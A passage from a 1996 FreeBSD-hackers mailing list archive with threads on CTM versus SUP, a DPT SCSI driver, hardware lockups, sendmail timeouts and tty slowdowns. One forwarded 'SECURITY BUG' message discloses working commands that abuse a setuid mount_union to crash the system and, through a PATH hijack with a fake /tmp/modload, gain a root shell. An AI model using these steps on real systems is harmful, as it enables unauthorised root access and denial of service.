TCP/IP access or coudn't afford it. For the a)-team, it would have to be better than SUP, for the b)-team anything was better than nothing. Some of the troubles I put the early users into are still being classified in relation to the UNs understanding of basic human rights and I'm not doing well on that grade, but on average people kept up with my blunders because it did something for them that they couldn't do otherwise. Now CTM is getting about to where I had hoped we would have it two years ago, and it will actually support local development (*.ctm feature), and with some luck we will have even better selection and validation features soon. CTM will never get around the problem of the snap-shot modus operandi, and people we cannot live with that will have to use SUP. I only know of about 5 people where I would think that applies. Most of the rest of the users would be just as happy and probably richer by using CTM, only problem is, it is harder to use, and they will have to change something that works for no significant benefit. If you want to make a difference, you sit down, and think about what you would want from CTM if you sat in the far end of an longdistance 1200 baud UUCP line, and wanted to keep up to date, then you discuss it with the rest of us, go off and implement it, we test it and if it works, more people will use CTM and at some point, we can ditch SUP for all but that handful of people who actually need SUP. The only way to get what you propose it to make it an advance, to make it give people something they don't have today, and make sure that "something" isn't trouble. Finally, Rich, you need to learn one lesson more which is: Issuing Grand Plans doesn't do shit here, unless you implement them yourself and do it well. -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Fri May 17 15:44:54 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id PAA25965 for hackers-outgoing; Fri, 17 May 1996 15:44:54 -0700 (PDT) Received: from platon.cs.rhbnc.ac.uk (dns1.rhbnc.ac.uk [134.219.44.52]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id PAA25958 for ; Fri, 17 May 1996 15:44:50 -0700 (PDT) Received: from platon (platon.cs.rhbnc.ac.uk [134.219.96.1]) by platon.cs.rhbnc.ac.uk (8.6.9/8.6.9) with SMTP id XAA28132 ; Fri, 17 May 1996 23:45:36 +0100 Date: Fri, 17 May 1996 23:45:36 +0100 (BST) From: " Stephen P. Butler" X-Sender: stephen@platon To: Warner Losh cc: "Jordan K. Hubbard" , Richard Wackerbarth , FreeBSD Hackers Subject: Re: Re(2): Standard Shipping Containers In-Reply-To: <199605171915.NAA10105@rover.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 17 May 1996, Warner Losh wrote: > "Hello. My name is Jordan Hubbard. You messed up my directory > structure. Prepare to die..." Would that be the left or the right handed version of the directory structure? S. -- ---------------------------------------------------------------- |Stephen Butler |stephen@dcs.rhbnc.ac.uk | |Computer Science Undergraduate. | | |Royal Holloway, University of London.| | | | | ---------------------------------------------------------------- From owner-freebsd-hackers Fri May 17 16:03:56 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA27187 for hackers-outgoing; Fri, 17 May 1996 16:03:56 -0700 (PDT) Received: from mail.jrihealth.com (mail.jrihealth.com [204.249.32.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA27182 for ; Fri, 17 May 1996 16:03:53 -0700 (PDT) Received: from library.pride.net (danp@library.pride.net [204.249.32.4]) by mail.jrihealth.com (8.3/8.6.6.Beta9) with SMTP id TAA15874; Fri, 17 May 1996 19:05:52 -0400 Date: Fri, 17 May 1996 19:06:03 -0400 (EDT) From: Dan Polivy To: freebsd-hackers@freebsd.org Subject: SECURITY BUG in FreeBSD (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I came across this in my travels...thought you guys may be interesting (in case you didn't already know)...It's worked for me on my -RELEASE, and -STABLE machines...dunno about any others... Dan +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ | JRI HIS MIS Systems Administrator/Tech Support | |////////////////////////////////////////////////////////////////| | danp@busstop.org dpolivy@jri.org danp@library.pride.net | |\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\| | Check out JRI's Homepage at http://www.jri.org | |////////////////////////////////////////////////////////////////| | EMail health@jri.org or check out http://www.jri.org/jrihealth | +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=+ --------------------------------- Hi! FreeBSD has a security hole... dangerous is mount_union if suid is set vulnerable systems are: FreeBSD 2.1 RELEASE/2.2 CURRENT probably FreeBSD 2.1 STABLE is not vulnerable to crash system (as a normal user) try this: mkdir a mkdir b mount_union ~/a ~/b mount_union -b ~/a ~/b to got euid try this: export PATH=/tmp:$PATH #if zsh, of course echo /bin/sh >/tmp/modload chmod +x /tmp/modload mount_union /dir1 /dir2 and You are root! Hole found by Adam Kubicki Best wishes Chris Labanowski KL ---------------------------------- From owner-freebsd-hackers Fri May 17 16:06:17 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA27421 for hackers-outgoing; Fri, 17 May 1996 16:06:17 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA27403; Fri, 17 May 1996 16:06:08 -0700 (PDT) Received: from critter.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0uKYaq-0003x4C; Fri, 17 May 96 16:05 PDT Received: from localhost (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.6.12) with SMTP id XAA03061; Fri, 17 May 1996 23:05:37 GMT X-Authentication-Warning: critter.tfs.com: Host localhost [127.0.0.1] didn't use HELO protocol To: salyzyn@inet.dpt.com cc: freebsd-scsi@freebsd.org, freebsd-hardware@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: Who wants a DPT SCSI controller driver? In-reply-to: Your message of "Fri, 17 May 1996 14:52:47 MST." <199605172152.OAA16143@orodruin.orthanc.com> Date: Fri, 17 May 1996 23:05:34 +0000 Message-ID: <3059.832374334@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm forwarding this on Mark's behalf. If you would like to see FreeBSD > support for DPT's SCSI controllers, please let him know. Hi Mark, You can quote me on this one for your management. Why would DPT want a FreeBSD driver ? Well, I can think of two things, market and publicity. Market: Probably bigger than you might think. I have personally in the last 13 weeks (the age of my on-line mailarchive) told 14 different people "No, sorry, as nice as the DPTs look, we don't support them, sorry." and I'm generally know considered a HW wizard of any importance. Publicity: A lot of the people out there on the FreeBSD mailing lists do a lot more than FreeBSD. A lot of them have quite impressive power when it comes to hardware selection. "Hey, Danny, what do you think about FOORBAR controllers ?" "Don't know, never ran one" "Hmm what do you use then ?" "FROBOZZ. Never had a hitch" Notice, nothing bad was said about FOORBAR, but somebody else came out on top, because they had been burned in. A lot of people use the stuff on the FreeBSD lists as guidelines when they buy PCs for other uses. Often I hear people argument something along this line: "If FreeBSD can find HW problems where Windows 3.1 see none, and I select HW that work well with FreeBSD, is should have less trouble with my Windows." DPT is obviously seldom mentioned, and if it is it's the "sorry, but don't!" message you see. It would be a lot better for you to have the message be: "Works great." If you produce a driver that works well, with the price/performance and market-share DPT posess, I would expect that you will soon see the business case for writing the driver provide you with a healty return on the quite modest investment it would be. Poul-Henning Kamp, Speaking for himself, not for the FreeBSD core-team. PS: Send us an email on the core-team (core@freebsd.org) and let us find some way we can get the best out of this. We will probably be more than happy to distribute a binary version of the driver in our releases, if we can agree on the details. PPS: I personally have two DPT controllers at home, but one is living a boring life in a little used Windows machine and the other is simply lying unused on a shelf. Much to my irritation because I have a disk that would benefit from a decent controller... -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Fri May 17 16:09:25 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA27707 for hackers-outgoing; Fri, 17 May 1996 16:09:25 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA27702 for ; Fri, 17 May 1996 16:09:23 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.6.12/8.6.12) id TAA00317 for freebsd-hackers@freebsd.org; Fri, 17 May 1996 19:09:22 -0400 From: Charles Henrich Message-Id: <199605172309.TAA00317@crh.cl.msu.edu> Subject: Funky Micron PP200 problems under 2.1 To: freebsd-hackers@freebsd.org Date: Fri, 17 May 1996 19:09:21 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Okay, I finally got a PP200 running with a BT946C, #9 GXE64 PCI, and SMC Ultra PCI. The problem is this, whenever I start doing lots of scsi disk I/O along with lots of x-window work (especially serial-mouse input) the system will freeze dead solid, requiring a hard-reset. Does anyone have any ideas what might be causing this problem? On another note, anyone know where I might find a test program to see if the PCI chipset in this PP200 can sustain more than 5mb/sec ? -Crh Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Fri May 17 16:09:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA27755 for hackers-outgoing; Fri, 17 May 1996 16:09:51 -0700 (PDT) Received: from independence.ecn.uoknor.edu (independence.ecn.uoknor.edu [129.15.112.69]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA27745 for ; Fri, 17 May 1996 16:09:44 -0700 (PDT) Received: from servalan.UUCP by independence.ecn.uoknor.edu with UUCP (Smail3.1.29.1 #29) id m0uKYZ1-00088zC; Fri, 17 May 96 18:04 CDT Received: by servalan.servalan.com via sendmail with stdio id for freebsd-hackers@freebsd.org; Fri, 17 May 96 17:47:19 -0500 (CDT) (Smail-3.1.91 1996-Mar-5 #1 built 1996-Mar-6) Message-Id: Date: Fri, 17 May 96 17:47:19 -0500 (CDT) From: rmtodd@servalan.servalan.com (Richard Todd) To: freebsd-hackers@freebsd.org Subject: Re: hrmm Newsgroups: servalan.mailinglist.fbsd-hackers References: <13423.832320033@time.cdrom.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In servalan.mailinglist.fbsd-hackers you write: >> I've been sitting here watching ICMPs for kicks and I had an idea though I >> can't say as how useful it might be... I was thinking of a kernel level ICMP >> logging utility that would be set using sysctl with appx 3 different levels >> of logging. >Or how about this idea: >Have a general purpose packet-filter device (call it, say, bpfilter) >and a program to read from it in whatever detail you wish. We could >call that program `tcpdump' :-) Or even have a program that listens on a raw socket for ICMP packets and syslog what it finds, and call it 'icmpinfo'. :-) (Yes there is such a program, and no, you don't need bpf to look at ICMP packets that are sent to your own system, opening a raw socket suffices. Shouldn't be too difficult to make icmpinfo work on FreeBSD...) From owner-freebsd-hackers Fri May 17 16:12:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA28002 for hackers-outgoing; Fri, 17 May 1996 16:12:51 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA27997 for ; Fri, 17 May 1996 16:12:49 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.6.12/8.6.12) id TAA00374 for freebsd-hackers@freebsd.org; Fri, 17 May 1996 19:12:43 -0400 From: Charles Henrich Message-Id: <199605172312.TAA00374@crh.cl.msu.edu> Subject: Funky Micron PP200 problems under 2.1 To: freebsd-hackers@freebsd.org Date: Fri, 17 May 1996 19:12:42 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Oh yea, one more piece of information, I keep getting: sio0: 1 more silo overflow (total 1) (with total and such going up) on the console... -Crh Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Fri May 17 16:34:06 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA29844 for hackers-outgoing; Fri, 17 May 1996 16:34:06 -0700 (PDT) Received: from sundial.sundial.net (root@sundial.sundial.net [204.181.150.2]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA29797; Fri, 17 May 1996 16:33:58 -0700 (PDT) Received: from Default (pm3-25.sundial.net [204.181.150.65]) by sundial.sundial.net (8.6.12/8.6.5) with SMTP id TAA25342; Fri, 17 May 1996 19:33:46 -0400 Message-Id: <199605172333.TAA25342@sundial.sundial.net> Comments: Authenticated sender is From: "Bryan J. Smith, E.I." Organization: Institute of Electrical and Electronic Engi To: "Gary Palmer" , freebsd-hackers@FreeBSD.org, freebsd-isp@FreeBSD.org, mark@quickweb.com Date: Fri, 17 May 1996 23:33:26 -0500 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Microsoft FrontPage server extensions (was: BSDI binary Reply-to: b.j.smith@ieee.org Priority: normal X-mailer: Pegasus Mail for Windows (v2.33) Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk You have to realize, Bill Gates considers 99% of OSes to be Windows-based and the other 1% is MacOS so therefore, if it's Windows and Mac he advertizes it as "Multi-platform." What an asshole ... -- BITMAN EI > To: John McNamee > Cc: freebsd-hackers@FreeBSD.org, freebsd-isp@FreeBSD.org, mark@quickweb.com > From: "Gary Palmer" > Subject: Re: Microsoft FrontPage server extensions (was: BSDI binary support) > Date: Fri, 17 May 1996 19:13:58 +0100 > John McNamee wrote in message ID > <199605171357.GAA24062@smoke.microwiz.com>: > > There is a problem with passwords. The FrontPage fpsrvadm program appears to > > have DES crypt linked into it (I wonder if Microsoft ever considered the > > export implications?). > > Probably not actually. There is now a lot of pressure in America to > revoke the crypto code restrictions, and I believe (from memory) that > one ``Bill Gore'' as made it an Presidential election issue that the > restrictions be at least lightened to allow 64bit DES to be exported, > if not totally banished. > > Also, they may actually just export the code that uses the DES library > and use one of the internationally safe ones (like we basically do). > > > By the way, I hear that Microsoft DOES NOT plan to release a Linux version of > > the FrontPage extensions. ISP's using Linux for their web servers won't be > > able to support customers with FrontPage. I expect FrontPage to become very > > popular with end-users who want to do their own web pages. It's a good > > application at an attractive price, and of course it has Microsoft behind it. > > We might see some Linux-based ISP's switching to FreeBSD because of this. > > Nice to hear :-) > > Gary > -- > Gary Palmer FreeBSD Core Team Member > FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info > > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ "I am Pentium of Borg. Precision is futile, you will be approximated." -- Stan "The Man" Buchanan, Jr. ========================================================== BRYAN J. SMITH, E.I. b.j.smith@ieee.org Systems Engineer http://www.sundial.net/~bjsmith/ ---------------------------------------------------------- - WAN Engineer, Hard Rock Cafe International - NSPE/FLBPR Certified Engineering Intern (E.I.) - IEEE Central FL Branch Secretary ---------------------------------------------------------- 1006 Teague Court Home: (407) 366-4620 Oviedo, FL 32765-7002 or: (407) 365-4693 ========================================================== From owner-freebsd-hackers Fri May 17 16:37:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA00407 for hackers-outgoing; Fri, 17 May 1996 16:37:59 -0700 (PDT) Received: from io.org (io.org [198.133.36.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA00402 for ; Fri, 17 May 1996 16:37:57 -0700 (PDT) Received: from zap.io.org (taob@zap.io.org [198.133.36.81]) by io.org (8.6.12/8.6.12) with SMTP id TAA13823 for ; Fri, 17 May 1996 19:37:51 -0400 Date: Fri, 17 May 1996 19:36:49 -0400 (EDT) From: Brian Tao To: FREEBSD-HACKERS-L Subject: Slow tty updates and high load, but idle CPU Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've got an odd problem with the 2.1.0-RELEASE shell servers here. I'm not sure where to begin, except to say that screen refreshes become very slow all of a sudden. When I say "slow", I mean that the screen is redrawn in "chunks". For example, if I hit ^L in a Pine window to refresh the screen, the screen clears, and groups of 5 or 6 lines will reappear, exactly one second apart. This "chunky updating" appears to happen with 600- character blocks or so. It is not oriented on line boundaries, since a refresh chunk can stop in the middle of a line. Each chunk will be redrawn at line speed (e.g., instantaneously if I'm on the local Ethernet, slightly slower over ISDN). Then there will be a one-second pause, followed by the next chunk. My 140x66 xterm window takes 16 seconds to redraw in this fashion. I've determined that it isn't a tty setting problem, or the tty driver sending out nulls. It isn't a problem with the network, because it happens right on the console as well. It will happen to all users on the system simultaneously, and persist until a reboot. It seems to occur after about 14 days of uptime. I believe it is related to a tty-related call, but I haven't tracked down which yet. As I mentioned, Pine has this problem. In fact, any program that needs to open the tty will have this problem (including more, less, vi, trn, tin, top, lynx, irc, etc.). If I run a command such as "ps -auxww" or "ls -l /dev" or the csh "history" command, the output is displayed at full speed. The "cat" command is also affected. Whereas "ls -l /dev" is displayed at full speed, "ls -l /dev | cat" is chunky. However, if I login to the affected server without a tty (i.e., "rsh server /bin/sh -i") and do a "ls -l /dev | cat", it proceeds at full speed. So it appears that the kernel tty interface code may have something to do with this. I also noticed that the affected server will suddenly report a high load average. For example: # uptime 5:21PM up 15 days, 17:15, 39 users, load averages: 6.77, 5.27, 2.70 Normally the load never rises above 1.00 even with double the number of users. When I check with ps, there are only one or two processes currently in a run state (one being 'ps'). vmstat and top reports over 90% CPU idle time. xperfmon++ does not indicate abnormal network, disk, I/O, interrupt, or swap usage. In fact, everything looks perfectly normal when compared to another one of our shell servers that doesn't have the problem, but with an uptime of only 6 days. This problem has yet to occur on our other servers, also running 2.1.0R, but don't handle interactive logins. It's as if the tty drivers do a sleep(1) between writing out a buffer, after a certain number of bytes have been output over the uptime of the server. Has anyone else seen these problems? -- Brian Tao (BT300, taob@io.org, taob@ican.net) Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-hackers Fri May 17 16:54:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id QAA01955 for hackers-outgoing; Fri, 17 May 1996 16:54:03 -0700 (PDT) Received: from tfs.com (tfs.com [140.145.250.1]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id QAA01950 for ; Fri, 17 May 1996 16:54:00 -0700 (PDT) Received: from critter.tfs.com by tfs.com (smail3.1.28.1) with SMTP id m0uKZLK-0003wIC; Fri, 17 May 96 16:53 PDT Received: from localhost (localhost [127.0.0.1]) by critter.tfs.com (8.7.5/8.6.12) with SMTP id XAA03152; Fri, 17 May 1996 23:53:54 GMT X-Authentication-Warning: critter.tfs.com: Host localhost [127.0.0.1] didn't use HELO protocol To: gdr@wcs.uq.edu.au cc: freebsd-hackers@freebsd.org Subject: Re: Standard Shipping Containers In-reply-to: Your message of "Sat, 18 May 1996 06:06:02 +1000." <199605172006.GAA11345@ajax.che.curtin.edu.au> Date: Fri, 17 May 1996 23:53:46 +0000 Message-ID: <3150.832377226@critter.tfs.com> From: Poul-Henning Kamp Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > >> The great CTM - SUP - CVS and "who's taking cheap shots at who" debate. > > You've all read the arguments (if you are interested -- and I certainly am) > so I won't burden you with unnecessary context. > > I would regard myself as one of Richard's `Joe Users'. I've followed this > thread and feel I should give feedback from my perspective. Someone said > "Let the users speak" so here goes... > > [... lots of kind words omitted...] > > A number of questions:- > > Is the CVS tree available as ctm deltas or is it only -current and -stable? yes the deltas are called "cvs-cur" and you will suffer another 200Mb disk space for it... > Am I correct in thinking that with an up-to-date CVS tree (maintained by > sup or ctm) you can create any of the supported source trees in a fully > consistent and functional state at a time of your choosing? yes. +ports +you can diff versions. > Also would the only real penalty be extra disk space to keep it all? about 200M all things counted. > Finally am I correct in thinking that at the time of a release (either > SNAP or full release) you could just checkout your own release from your > locally maintained CVS tree and build it all yourself in a reasonably > trivial manner even for a moderately unskilled or semi-skilled user? yes. You can actually do that with various levels of success at any time. > Or if I'm way off the planet please let me down gently :-<. Very funny Scotty, now, please beam up my trousers too! :-) Thanks for the kind words, your situation more or less fits the profile for which CTM was intended, and I'm happy to hear that it works for you too. -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@ref.tfs.com TRW Financial Systems, Inc. Future will arrive by its own means, progress not so. From owner-freebsd-hackers Fri May 17 18:17:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA07811 for hackers-outgoing; Fri, 17 May 1996 18:17:24 -0700 (PDT) Received: from sh1.po.iijnet.or.jp (sh1.po.iijnet.or.jp [192.244.177.6]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA07805 for ; Fri, 17 May 1996 18:17:22 -0700 (PDT) Received: from sh0.po.iijnet.or.jp (sh0.po.iijnet.or.jp [192.244.177.1]) by sh1.po.iijnet.or.jp (8.6.12+2.4W/3.3W9) with ESMTP id KAA07167 for ; Sat, 18 May 1996 10:17:20 +0900 Received: from [192.244.178.229] (ppp1085.po.iijnet.or.jp [192.244.178.229]) by sh0.po.iijnet.or.jp (8.6.12+2.5Wb7/3.4W2-nomx) with SMTP id KAA14943; Sat, 18 May 1996 10:17:16 +0900 Date: Sat, 18 May 1996 10:17:16 +0900 Message-Id: <199605180117.KAA14943@sh0.po.iijnet.or.jp> To: hackers@freebsd.org From: Hiroshi Takagi X-Sender: takagi@sh0.po.iijnet.or.jp Subject: password server (Eudora) for FreeBSD Cc: Hiroshi Takagi MIME-Version: 1.0 Content-Type: text/plain; charset=iso-2022-jp X-Mailer: Eudora-J(1.3.8.5-J13) Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I've recently FreeBSD 2.1.0R and qpop on our PC as mail server for PC POP client users. And I ftped four source files from Qualcom ftp server and tried to make them but they couldn't be maked. The make alerts some include files didn't exists. It seems the passowrd server sources are too old for FreeBSD? Where is passord server source for FreeBSD 2.1.0R ? Or is there some patches or tips about this problem on the net? TIA, Hiroshi Takagi From owner-freebsd-hackers Fri May 17 18:22:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA08026 for hackers-outgoing; Fri, 17 May 1996 18:22:55 -0700 (PDT) Received: from sag.space.lockheed.com (sag.space.lockheed.com [192.68.162.134]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA08021 for ; Fri, 17 May 1996 18:22:53 -0700 (PDT) Received: by sag.space.lockheed.com; (5.65v3.2/1.1.8.2/21Nov95-0423PM) id AA16681; Fri, 17 May 1996 18:22:55 -0700 Date: Fri, 17 May 1996 18:22:54 -0700 (PDT) From: "Brian N. Handy" To: Charles Henrich Cc: freebsd-hackers@FreeBSD.org Subject: Re: Funky Micron PP200 problems under 2.1 In-Reply-To: <199605172312.TAA00374@crh.cl.msu.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Oh yea, one more piece of information, I keep getting: > > sio0: 1 more silo overflow (total 1) (with total and such going up) This isn't unique. I get it with -current on an ASUS MB, and I also get it with 2.1-RELEASE on a 486/66. (Apparently someone is clicking the serial mouse on the 486 *really* fast :-) Brian From owner-freebsd-hackers Fri May 17 18:42:18 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA09095 for hackers-outgoing; Fri, 17 May 1996 18:42:18 -0700 (PDT) Received: from fisbin.remuda.com (fisbin.remuda.com [199.238.225.162]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA09052; Fri, 17 May 1996 18:42:03 -0700 (PDT) Received: from localhost (scotto@localhost) by fisbin.remuda.com (8.6.12/8.6.12) with SMTP id SAA05083; Fri, 17 May 1996 18:41:21 -0700 Date: Fri, 17 May 1996 18:41:20 -0700 (PDT) From: Scott Overholser Reply-To: Scott Overholser To: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org, freebsd-isp@freebsd.org, freebsd-bugs@freebsd.org cc: a-scotov@exchange.microsoft.com Subject: sendmail read errors/timeouts etc. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk sorry for spamming all these lists. i turned up hits on all of them when i searched the mailing list archives. i recently replaced my email gateway with a freebsd 2.1.0 box. prior to that it was a linux box (different hardware) running sendmail 8.6.11 and 100% trouble free. now though, i am seeing sendmail errors when sending to a few select sites. in addition, i see them when i receive from the same sites. the troublesome sites (that i know of) are microsoft.com, msn.com, and noa.com. i *absolutely* cannot send mail to recipient@microsoft.com or recipient@noa.com. i seem to be able to send mail to recipient@msn.com but i cannot receive mail from msn.com. mail to/from other sites is no problem. here are some sample messages (although based on my search through the archives, many of you have seen them before): ---------->%snip>%---------- com. [205.166.76.99], stat=Deferred: Operation timed out during client QUIT with bowser.noa.com. m. [131.107.3.23], stat=Deferred: Connection reset by peer during client QUIT wi th abash1.microsoft.com. May 15 00:31:17 fisbin sendmail[566]: XAA00566: SYSERR(root): collect: read time out on connection from upsmot02.msn.com, from= ---------->%snip>%---------- there are many more...mostly from the same sites though. i've checked everything i can think of - dns config, resolver config, sendmail config (cranked the timeouts absurdly high). nothing phases the problem. i don't suspect hardware because of the number of posts from others having the same problem. oh yeah, i also turned on sendmail logging and waded through that mess. it looks like all the mail is xferred to the remote host on outbound mail and xferred to my host on inbound mail but it dies on the QUIT. the really strange thing is that i don't get the errors when sending directly to some hosts at microsoft. for example, if i send mail to a-scotov@microsoft.com i may as well beat my head against a wall. on the other hand, if i send the mail to a-scotov@exchange.microsoft.com the mail is delivered (and i can send mail from a-scotov@exchange.microsoft.com to scotto@remuda.com) - in case you hadn't guessed, i earn my daily bread at microsoft. the difference between the two addresses is that the exchange.microsoft.com address is an experimental mail server running various stable builds of ms exchange. the microsoft.com address is the main corporate gateway(s) running the shipping version of microsoft exchange. well, enough gab. does anyone have a solution to this problem?! this is growing old. i know there are lots of folks out there on these mailing lists that have had this problem. the only real answer suggested in the responses was from david greenman "these are likely caused by transient connectivity hickups on the internet and can almost certainly be ignored." however, i've gotta agree with john brogan who said (over a year ago - with freebsd 1.1.5.1) "about 15 or 16 systems have had this exact same problem...about 7,000 have not had any problems..." that's exactly what i'm seeing (sort of). mail works but for a few sites - which unfortunately i must correspond with on a daily basis. i confess a certain discomfort in suspecting the os rather than sendmail. however, i've used sendmail for a long time and never experienced anything like this without being able to attribute it to something i can sink my teeth into. i certainly have a problem swallowing "transient network errors" especially when the mail archives are peppered with posts from folks asking the same question for over a year - not to mention the fact that i can send email to/from sites other than the troublesome ones mentioned above whilst my netbsd and linux running comrades don't seem to be experiencing any of these troubles (i happen to be alone in running freebsd amonst a sea of linux'ers and netbsd'ers). well, sorry for the spam, the length, and above all - the quasi-soapbox. if anyone at all has taken the time to read this fully, i appreciate it and hope for a speedy solution. this weekend i'll probably switch the scsi ids on my external drives and install netbsd to see if it fares any better in sending mail to recip@microsoft.com et al. thanks scotto From owner-freebsd-hackers Fri May 17 18:56:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id SAA09961 for hackers-outgoing; Fri, 17 May 1996 18:56:47 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id SAA09956 for ; Fri, 17 May 1996 18:56:45 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.6.12/8.6.12) id VAA00606; Fri, 17 May 1996 21:56:43 -0400 From: Charles Henrich Message-Id: <199605180156.VAA00606@crh.cl.msu.edu> Subject: Re: Funky Micron PP200 problems under 2.1 To: handy@sag.space.lockheed.com (Brian N. Handy) Date: Fri, 17 May 1996 21:56:43 -0400 (EDT) Cc: freebsd-hackers@FreeBSD.org In-Reply-To: from "Brian N. Handy" at May 17, 96 06:22:54 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Oh yea, one more piece of information, I keep getting: > > > > sio0: 1 more silo overflow (total 1) (with total and such going up) > > This isn't unique. I get it with -current on an ASUS MB, and I also get > it with 2.1-RELEASE on a 486/66. (Apparently someone is clicking the > serial mouse on the 486 *really* fast :-) But on my system when I do that clicking, I can lock up the system tighter and a drum in under 10 seconds.. -Crh Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Fri May 17 19:00:12 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA10241 for hackers-outgoing; Fri, 17 